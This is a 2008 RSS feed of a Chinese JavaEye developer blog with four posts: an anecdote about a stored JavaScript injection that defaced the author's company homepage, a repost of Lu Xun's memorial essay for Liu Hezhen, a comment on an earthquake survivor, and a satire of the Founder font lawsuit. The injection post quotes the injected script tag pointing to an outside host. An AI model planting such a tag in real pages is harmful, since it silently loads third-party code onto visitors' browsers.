<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
  <channel>
    <title>Air On The G String</title>
    <description></description>
    <link>http://robertlyc.javaeye.com</link>
    <language>UTF-8</language>
    <copyright>Copyright 2003-2008, JavaEye.com</copyright>
    <docs>http://blogs.law.harvard.edu/tech/rss</docs>
    <generator>JavaEye - 做最棒的软件开发交流社区</generator>
      <item>
        <title>难道你们没有被js注入过？</title>
        <author>robertlyc</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://robertlyc.javaeye.com">robertlyc</a>&nbsp;
          链接：<a href="http://robertlyc.javaeye.com/blog/214634" style="color:red;">http://robertlyc.javaeye.com/blog/214634</a>&nbsp;
          发表时间: 2008年07月14日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          <p>&nbsp;&nbsp;&nbsp; 酷热下午，正昏昏欲睡ing，同事A突然惊呼，网站首页怎么变乱码了？打开一看，果然，心中一阵暗怒，是不是新来的菜鸟乱提交啊。不过还好首页不是我的活，看了下svn服务器，上午并没有提交新内容,额，算了，先回复到昨天下班的版本吧。</p>
<p><br />
&nbsp;&nbsp;&nbsp; ok，一切正常，继续去苏州吧，突然电话响起，同事B接的。接完后他一脸肃穆的对大家说，刚才有人反映说我们的首页乱码，他能够帮我们解决。技术部各位哈哈大笑一阵，笑完又觉得太诡异了，不是吧 那么快他就发现我们首页问题。</p>
<p><br />
&nbsp;&nbsp;&nbsp; 过了十分钟，我刚到昆山的时候，同事A又惊呼（我为什么要说又...），首页又乱码了....这次大家都笑不出来了，隔了几分钟，电话又来了，还是个MM。同样的话复述了一遍。老大也被惊动了，稍微分析了一下问题：托管机房被黑了？ 概率不大 静态页面被更改？ 有可能 我们自身程序问题？ 也不能排除</p>
<p><br />
&nbsp;&nbsp;&nbsp; 同事D建议看下事发后的数据库的情况。大家分头行动，先看自身程序问题，无奈开始跑单元/集成测试。<br />
&quot;尤里卡,&quot;同事E好像发现了新大陆（当然原话肯定没那么禅）,果然是在数据库里发现了一个温州的ip，插入了一个js脚本</p>
<pre name="code" class="js">&lt;script src=http://www.xryq.cn/mm/index.js&gt;&lt;/script&gt;</pre>
<p>&nbsp;靠,这个里面还有个iframe，丫隐藏的真深，搞了半天还是给他们网站刷流量。现在的人怎么都这么...</p>
<p>&nbsp;</p>
<p>诶，幸好我在自己的程序里所有的提交的字段都有h()，看来安全问题在写程序的时候也要多加留神。</p>
<p>好了，套一句JE很俗的话，各位都别装了，难道你们没有被js/sql注入过?</p>
<p>&nbsp;</p>
          <br/>
          <span style="color:red;">
            <a href="http://robertlyc.javaeye.com/blog/214634#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Mon, 14 Jul 2008 16:58:08 +0800</pubDate>
        <link>http://robertlyc.javaeye.com/blog/214634</link>
        <guid>http://robertlyc.javaeye.com/blog/214634</guid>
      </item>
      <item>
        <title>记念刘和珍君——鲁迅</title>
        <author>robertlyc</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://robertlyc.javaeye.com">robertlyc</a>&nbsp;
          链接：<a href="http://robertlyc.javaeye.com/blog/210446" style="color:red;">http://robertlyc.javaeye.com/blog/210446</a>&nbsp;
          发表时间: 2008年07月02日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          <p>一<br /><br />中华民国十五年三月二十五日，就是国立北京女子师范大学为十八日在段祺瑞执政府前遇害的刘和珍杨德群两君开追悼会的那一天，我独在礼堂外徘徊，遇见程君，前来问我道，&ldquo;先生可曾为刘和珍写了一点什么没有？&rdquo;我说&ldquo;没有&rdquo;。她就正告我，&ldquo;先生还是写一点罢；刘和珍生前就很爱看先生的文章。&rdquo;<br />这是我知道的，凡我所编辑的期刊，大概是因为往往有始无终之故罢，销行一向就甚为寥落，然而在这样的生活艰难中，毅然预定了《莽原》全年的就有她。我也早觉得有写一点东西的必要了，这虽然于死者毫不相干，但在生者，却大抵只能如此而已。倘使我能够相信真有所谓&ldquo;在天之灵&rdquo;，那自然可以得到更大的安慰，&mdash;&mdash; 但是，现在，却只能如此而已。<br />可是我实在无话可说。我只觉得所住的并非人间。四十多个青年的血，洋溢在我的周围，使我艰于呼吸视听，那里还能有什么言语？长歌当哭，是必须在痛定之后的。而此后几个所谓学者文人的阴险的论调，尤使我觉得悲哀。我已经出离愤怒了。我将深味这非人间的浓黑的悲凉；以我的最大哀痛显示于非人间，使它们快意于我的苦痛，就将这作为后死者的菲薄的祭品，奉献于逝者的灵前。<br /><br />二<br /><br />真的猛士，敢于直面惨淡的人生，敢于正视淋漓的鲜血。这是怎样的哀痛者和幸福者？然而造化又常常为庸人设计，以时间的流驶，来洗涤旧迹，仅使留下淡红的血色和微漠的悲哀。在这淡红的血色和微漠的悲哀中，又给人暂得偷生，维持着这似人非人的世界。我不知道这样的世界何时是一个尽头！<br />我们还在这样的世上活着；我也早觉得有写一点东西的必要了。离三月十八日也已有两星期，忘却的救主快要降临了罢，我正有写一点东西的必要了。<br /><br />三<br /><br />在四十余被害的青年之中，刘和珍君是我的学生。学生云者，我向来这样想，这样说，现在却觉得有些踌躇了，我应该对她奉献我的悲哀与尊敬。她不是&ldquo;苟活到现在的我&rdquo;的学生，是为了中国而死的中国的青年。<br />她的姓名第一次为我所见，是在去年夏初杨荫榆女士做女子师范大学校长，开除校中六个学生自治会职员的时候。其中的一个就是她；但是我不认识。直到后来，也许已经是刘百昭率领男女武将，强拖出校之后了，才有人指着一个学生告诉我，说：这就是刘和珍。其时我才能将姓名和实体联合起来，心中却暗自诧异。我平素想，能够不为势利所屈，反抗一广有羽翼的校长的学生，无论如何，总该是有些桀骜锋利的，但她却常常微笑着，态度很温和。待到偏安于宗帽胡同，赁屋授课之后，她才始来听我的讲义，于是见面的回数就较多了，也还是始终微笑着，态度很温和。待到学校恢复旧观，往日的教职员以为责任已尽，准备陆续引退的时候，我才见她虑及母校前途，黯然至于泣下。此后似乎就不相见。总之，在我的记忆上，那一次就是永别了。<br /><br />四<br /><br />我在十八日早晨，才知道上午有群众向执政府请愿的事；下午便得到噩耗，说卫队居然开枪，死伤至数百人，而刘和珍君即在遇害者之列。但我对于这些传说，竟至于颇为怀疑。我向来是不惮以最坏的恶意，来推测中国人的，然而我还不料，也不信竟会下劣凶残到这地步。况且始终微笑着的和蔼的刘和珍君，更何至于无端在府门前喋血呢？<br />然而即日证明是事实了，作证的便是她自己的尸骸。还有一具，是杨德群君的。而且又证明着这不但是杀害，简直是虐杀，因为身体上还有棍棒的伤痕。<br /><span style="color: #ff0000;">但段政府就有令，说她们是&ldquo;暴徒&rdquo;！</span><br /><span style="color: #ff0000;">但接着就有流言，说她们是受人利用的。</span><br />惨象，已使我目不忍视了；流言，尤使我耳不忍闻。我还有什么话可说呢？我懂得衰亡民族之所以默无声息的缘由了。沉默啊，沉默啊！不在沉默中爆发，就在沉默中灭亡。<br /><br />五<br />但是，我还有要说的话。<br />我没有亲见；听说她，刘和珍君，那时是欣然前往的。自然，请愿而已，稍有人心者，谁也不会料到有这样的罗网。但竟在执政府前中弹了，从背部入，斜穿心肺，已是致命的创伤，只是没有便死。同去的张静淑君想扶起她，中了四弹，其一是手枪，立仆；同去的杨德群君又想去扶起她，也被击，弹从左肩入，穿胸偏右出，也立仆。但她还能坐起来，一个兵在她头部及胸部猛击两棍，于是死掉了。<br />始终微笑的和蔼的刘和珍君确是死掉了，这是真的，有她自己的尸骸为证；沉勇而友爱的杨德群君也死掉了，有她自己的尸骸为证；只有一样沉勇而友爱的张静淑君还在医院里呻吟。当三个女子从容地转辗于文明人所发明的枪弹的攒射中的时候，这是怎样的一个惊心动魄的伟大呵！中国军人的屠戮妇婴的伟绩，八国联军的惩创学生的武功，不幸全被这几缕血痕抹杀了。<br /><span style="color: #ff0000;">但是中外的杀人者却居然昂起头来，不知道个个脸上有着血污&hellip;&hellip;<br /></span><br />六<br /><br /><span style="color: #ff0000;">时间永是流驶，街市依旧太平，有限的几个生命，在中国是不算什么的，至多，不过供无恶意的闲人以饭后的谈资，或者给有恶意的闲人作&ldquo;流言&rdquo;的种子。</span>至于此外的深的意义，我总觉得很寥寥，因为这实在不过是徒手的请愿。人类的血战前行的历史，正如煤的形成，当时用大量的木材，结果却只是一小块，但请愿是不在其中的，更何况是徒手。<br />然而既然有了血痕了，当然不觉要扩大。至少，也当浸渍了亲族；师友，爱人的心，纵使时光流驶，洗成绯红，也会在微漠的悲哀中永存微笑的和蔼的旧影。陶潜说过，&ldquo;亲戚或余悲，他人亦已歌，死去何所道，托体同山阿。&rdquo;倘能如此，这也就够了。<br /><br />七<br /><br />我已经说过：<span style="color: #ff0000;">我向来是不惮以最坏的恶意来推测中国人的。但这回却很有几点出于我的意外。一是当局者竟会这样地凶残，一是流言家竟至如此之下劣，</span>一是中国的女性临难竟能如是之从容。<br />我目睹中国女子的办事，是始于去年的，虽然是少数，但看那干练坚决，百折不回的气概，曾经屡次为之感叹。至于这一回在弹雨中互相救助，虽殒身不恤的事实，则更足为中国女子的勇毅，虽遭阴谋秘计，压抑至数千年，而终于没有消亡的明证了。倘要寻求这一次死伤者对于将来的意义，意义就在此罢。<br />苟活者在淡红的血色中，会依稀看见微茫的希望；真的猛士，将更奋然而前行。<br />呜呼，我说不出话，但以此纪念刘和珍君！<br /><br />发表于一九二六年四月十二日《语丝》周刊第七十四期 </p>
<p>&nbsp;</p>
          <br/>
          <span style="color:red;">
            <a href="http://robertlyc.javaeye.com/blog/210446#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Wed, 02 Jul 2008 11:12:20 +0800</pubDate>
        <link>http://robertlyc.javaeye.com/blog/210446</link>
        <guid>http://robertlyc.javaeye.com/blog/210446</guid>
      </item>
      <item>
        <title>为“叔叔，我要可乐,冰冻的”叫好</title>
        <author>robertlyc</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://robertlyc.javaeye.com">robertlyc</a>&nbsp;
          链接：<a href="http://robertlyc.javaeye.com/blog/193847" style="color:red;">http://robertlyc.javaeye.com/blog/193847</a>&nbsp;
          发表时间: 2008年05月17日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          <p>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 在冗长的cctv新闻中寻找到类似这样的亮点还真是不少，可惜网上对这个男孩的评论都有失公允。批评者的逻辑无非是这样,为什么没对营救的解放军战士说谢谢，为什么没有问被压在下面的同学情况如何。再然后就就是上升到对90后的共性批判去了。</p>
<p>&nbsp;</p>
<p>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp; 刚看到这个新闻时，我第一反应是乐了。在之前很长时间被伤亡数字压抑的心情似乎瞬间得到了释放。要知道一个被埋80多个小时的男孩（应该是高中吧），还能有如此强烈的生存欲望，真是非常难得。在这种灾难下，人的意志力往往决定了他们是否能等到被救援的那一刻。男孩在这个时刻仍然不忘用幽默的方式表达自己对生的渴望，请不要忘了他当时已经4天3夜滴水未进，深埋在废墟中。</p>
<p>&nbsp;</p>
<p>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp; 可惜的是中国人似乎天生的没有幽默感，似乎希望每个被救援出来的人都要对施救者痛苦流涕一番才能表达感激之情。是不是每个人都要苦大仇深学潘冬子的童年遭遇那样，才能满足大众所谓&ldquo;知恩图报&rdquo;的心理，这样看来被煽情教育千篇一律模式培养出来的大众审美心理似乎比汶川的灾害更为严重。其实当时救援出两个学生，当救援人员找到他们时，那个男孩主动先让解放军把小女孩解救出。在这种生死存亡时刻表现出的勇气更值得为之叫好。</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
          <br/>
          <span style="color:red;">
            <a href="http://robertlyc.javaeye.com/blog/193847#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Sat, 17 May 2008 10:13:30 +0800</pubDate>
        <link>http://robertlyc.javaeye.com/blog/193847</link>
        <guid>http://robertlyc.javaeye.com/blog/193847</guid>
      </item>
      <item>
        <title>谈谈“方正索赔案”——一些杂谈和随想</title>
        <author>robertlyc</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://robertlyc.javaeye.com">robertlyc</a>&nbsp;
          链接：<a href="http://robertlyc.javaeye.com/blog/112452" style="color:red;">http://robertlyc.javaeye.com/blog/112452</a>&nbsp;
          发表时间: 2007年08月15日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          [quote]<font class="fbody" id="zoom">日前，中国最大的中文字库产品提供商、方正集团下属北京北大方正电子有限公司，对美国暴雪娱乐有限公司等被告侵犯其具有自主知识产权的方正字库著作权向北京市高级人民法院提起诉讼，并已获得正式受理，该案索赔金额目前已达到1亿元人民币。</font>
<p><font class="fbody" id="zoom">　　据称，这堪称是2007年中国法院受理的IT行业知识产权第一案，也是中国加入WTO以来,中国公司向外国公司就知识产权侵权进行索赔金额最大的知识产权案之一。</font></p>
<p><font class="fbody" id="zoom">　 　据了解，美国暴雪公司在其开发并授权上海某著名网络游戏公司在中国大陆独家代理运营的电脑网络游戏《魔兽世界》中，未经方正电子的许可，大量复制、使用 了方正电子自主研发、编写、集合而成的方正字库中方正北魏楷书、方正剪纸、方正细黑一等五款方正字体，严重侵犯了方正电子根据中国《著作权法》对方正字库 享有的著作权。经方正电子初步计算，因美国暴雪公司的侵权使方正电子损失收入达10亿元人民币以上。[/quote]</font></p>
<p>不知道大家看完这则消息是什么样的看法？</p>
<p><font class="fbody" id="zoom">举个例子，如果说看到邻居家的生意红火兴隆，日进斗金。自己不图修炼内功，而是一纸状书告到衙门，说他们家卖的东西，是自己老祖宗发明遗留下来的，你要卖还要申请我通过。倘若遇到了个糊涂县官，来个各打50大板的判决，让他尝到甜头。恐怕他要开始以此为生梦想过上了锦衣玉食，无忧无虑的生活。这样的人，我们应该尊他为什么？</font></p>
<p><font class="fbody" id="zoom">保护知识产权是一个严肃的话题，方正这次却用了一种近乎&ldquo;喜剧&rdquo;的方式来作为开局。闹剧通常以喜剧作为结束，反之却不是。作为反击美国指责中国保护知识产权不利？像，又不像。作为吸引眼球的自暴似炒作？是，又不是。所有理性的分析者，在遇到了中国特色问题上，再损失了无数脑细胞后，依然理不出头绪。</font></p>
<p>以此类推，意大利人民是否应该因为暴雪使用了罗马数字索赔，印度人民也不乐意了，0还是我们发明的。英国人，法国人... 最后，世界人民震惊了。</p>
最后用某中国大陆独家代理高管的话来作为这件事的结束&ldquo;很好，很强大&rdquo;。
<p><font class="fbody" id="zoom"><br />
</font></p>
          <br/>
          <span style="color:red;">
            <a href="http://robertlyc.javaeye.com/blog/112452#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Wed, 15 Aug 2007 09:52:26 +0800</pubDate>
        <link>http://robertlyc.javaeye.com/blog/112452</link>
        <guid>http://robertlyc.javaeye.com/blog/112452</guid>
      </item>
  </channel>
</rss>